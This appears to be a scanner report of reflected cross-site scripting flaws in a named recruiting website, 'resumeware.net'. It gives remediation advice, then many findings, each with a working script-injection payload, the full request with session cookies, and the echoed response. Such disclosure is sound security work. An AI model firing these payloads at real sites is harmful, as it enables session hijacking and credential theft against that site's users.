Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the company request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8d69"><script>alert(1)</script>10baca3a334 was submitted in the company parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /SupportFAQ/FAQ.cfm?company=ValueClicka8d69"><script>alert(1)</script>10baca3a334 HTTP/1.1 Host: www.resumeware.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=F24C1381%2DA16A%2DF682%2DEF4469B9E1E0C545; CFID=140887;
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 17 Dec 2010 03:10:46 GMT Server: Microsoft-IIS/6.0 X-XSS-Protection: 0 Content-Type: text/html; charset=UTF-8
<!-- This site and all of it's content is copyrighted by ResumeWare Services, Inc. 1998 - 2010 --><link rel="P3Pv1" href="http://www.resumeware.net/privacy/p3p/p3p.xml"> <html> <head> <title>ResumeWar ...[SNIP]... <input type="text" name="company" size="35" maxlength="50" style="WIDTH: 300px" value="ValueClicka8d69"><script>alert(1)</script>10baca3a334"> ...[SNIP]...
The value of the pagestart request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b8700"><script>alert(1)</script>afa5c61d1a6 was submitted in the pagestart parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /valueclick_rw/valueclick_web/job_detail.cfm?recnum=1&totalrecs=45&start=1&pagestart=1b8700"><script>alert(1)</script>afa5c61d1a6&reqnum=11232 HTTP/1.1 Host: www.resumeware.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=F24C1381%2DA16A%2DF682%2DEF4469B9E1E0C545; CFID=140887;
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 17 Dec 2010 03:10:49 GMT Server: Microsoft-IIS/6.0 X-XSS-Protection: 0 Content-Type: text/html; charset=UTF-8
<META NAME="ROBOTS" CONTENT="NOARCHIVE"> <!-- This site and all of it's content is copyrighted by ResumeWare Services, Inc. 1998 - 2010 -->
The value of the start request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d1a2"><script>alert(1)</script>72b067267ff was submitted in the start parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /valueclick_rw/valueclick_web/job_detail.cfm?recnum=1&totalrecs=45&start=18d1a2"><script>alert(1)</script>72b067267ff&pagestart=1&reqnum=11232 HTTP/1.1 Host: www.resumeware.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=F24C1381%2DA16A%2DF682%2DEF4469B9E1E0C545; CFID=140887;
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 17 Dec 2010 03:10:46 GMT Server: Microsoft-IIS/6.0 X-XSS-Protection: 0 Content-Type: text/html; charset=UTF-8
<META NAME="ROBOTS" CONTENT="NOARCHIVE"> <!-- This site and all of it's content is copyrighted by ResumeWare Services, Inc. 1998 - 2010 -->
The value of the totalrecs request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f8e67"><script>alert(1)</script>c92f547b58a was submitted in the totalrecs parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /valueclick_rw/valueclick_web/job_detail.cfm?recnum=1&totalrecs=45f8e67"><script>alert(1)</script>c92f547b58a&start=1&pagestart=1&reqnum=11232 HTTP/1.1 Host: www.resumeware.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=F24C1381%2DA16A%2DF682%2DEF4469B9E1E0C545; CFID=140887;
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 17 Dec 2010 03:10:44 GMT Server: Microsoft-IIS/6.0 X-XSS-Protection: 0 Content-Type: text/html; charset=UTF-8
<META NAME="ROBOTS" CONTENT="NOARCHIVE"> <!-- This site and all of it's content is copyrighted by ResumeWare Services, Inc. 1998 - 2010 -->
The value of the override request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 46e51"><script>alert(1)</script>aba25e5ef57 was submitted in the override parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /valueclick_rw/valueclick_web/job_list.cfm?sortby=requisitions.postingTitle&override=46e51"><script>alert(1)</script>aba25e5ef57&pagestart=1&start=1&maxrows=50 HTTP/1.1 Host: www.resumeware.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=F24C1381%2DA16A%2DF682%2DEF4469B9E1E0C545; CFID=140887;
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 17 Dec 2010 03:10:44 GMT Server: Microsoft-IIS/6.0 X-XSS-Protection: 0 Content-Type: text/html; charset=UTF-8
<META NAME="ROBOTS" CONTENT="NOARCHIVE"> <!-- This site and all of it's content is copyrighted by ResumeWare Services, Inc. 1998 - 2010 -->
The value of the pagestart request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 28edd"><script>alert(1)</script>1a9ae8da9ff was submitted in the pagestart parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /valueclick_rw/valueclick_web/job_list.cfm?sortby=requisitions.postingTitle&override=&pagestart=128edd"><script>alert(1)</script>1a9ae8da9ff&start=1&maxrows=50 HTTP/1.1 Host: www.resumeware.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=F24C1381%2DA16A%2DF682%2DEF4469B9E1E0C545; CFID=140887;
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 17 Dec 2010 03:10:47 GMT Server: Microsoft-IIS/6.0 X-XSS-Protection: 0 Content-Type: text/html; charset=UTF-8
<META NAME="ROBOTS" CONTENT="NOARCHIVE"> <!-- This site and all of it's content is copyrighted by ResumeWare Services, Inc. 1998 - 2010 -->
The value of the view request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14d05"><script>alert(1)</script>a1b2f7bf58e was submitted in the view parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /valueclick_rw/valueclick_web/job_list.cfm?start=1&which=&pagestart=1&sortby=&override=&view=14d05"><script>alert(1)</script>a1b2f7bf58e HTTP/1.1 Host: www.resumeware.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=F24C1381%2DA16A%2DF682%2DEF4469B9E1E0C545; CFID=140887;
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 17 Dec 2010 03:11:00 GMT Server: Microsoft-IIS/6.0 X-XSS-Protection: 0 Content-Type: text/html; charset=UTF-8
<META NAME="ROBOTS" CONTENT="NOARCHIVE"> <!-- This site and all of it's content is copyrighted by ResumeWare Services, Inc. 1998 - 2010 -->
The value of the which request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f09f6"><script>alert(1)</script>841775f5bbb was submitted in the which parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /valueclick_rw/valueclick_web/job_list.cfm?start=1&which=f09f6"><script>alert(1)</script>841775f5bbb&pagestart=1&sortby=&override=&view= HTTP/1.1 Host: www.resumeware.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=F24C1381%2DA16A%2DF682%2DEF4469B9E1E0C545; CFID=140887;
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 17 Dec 2010 03:10:50 GMT Server: Microsoft-IIS/6.0 X-XSS-Protection: 0 Content-Type: text/html; charset=UTF-8
<META NAME="ROBOTS" CONTENT="NOARCHIVE"> <!-- This site and all of it's content is copyrighted by ResumeWare Services, Inc. 1998 - 2010 -->
1.9. http://www.resumeware.net/valueclick_rw/valueclick_web/login.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.resumeware.net
Path:
/valueclick_rw/valueclick_web/login.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3108c"><script>alert(1)</script>e00f7eca62e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /valueclick_rw/valueclick_web/login.cfm?3108c"><script>alert(1)</script>e00f7eca62e=1 HTTP/1.1 Host: www.resumeware.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=F24C1381%2DA16A%2DF682%2DEF4469B9E1E0C545; CFID=140887;
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 17 Dec 2010 03:10:34 GMT Server: Microsoft-IIS/6.0 X-XSS-Protection: 0 Content-Type: text/html; charset=UTF-8
<META NAME="ROBOTS" CONTENT="NOARCHIVE"> <!-- This site and all of it's content is copyrighted by ResumeWare Services, Inc. 1998 - 2010 -->
The value of the include_rb request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb659"><script>alert(1)</script>97e29c9b29d was submitted in the include_rb parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /valueclick_rw/valueclick_web/resume_new_web.cfm?rType=External&from=website&include_rb=0cb659"><script>alert(1)</script>97e29c9b29d HTTP/1.1 Host: www.resumeware.net Proxy-Connection: keep-alive Referer: http://www.resumeware.net/valueclick_rw/valueclick_web/job_list.cfm Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=140887; CFTOKEN=F24C1381%2DA16A%2DF682%2DEF4469B9E1E0C545
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 17 Dec 2010 03:09:30 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 X-XSS-Protection: 0 Vary: Accept-Encoding Content-Length: 61303
<META NAME="ROBOTS" CONTENT="NOARCHIVE"> <!-- This site and all of it's content is copyrighted by ResumeWare Services, Inc. 1998 - 2010 -->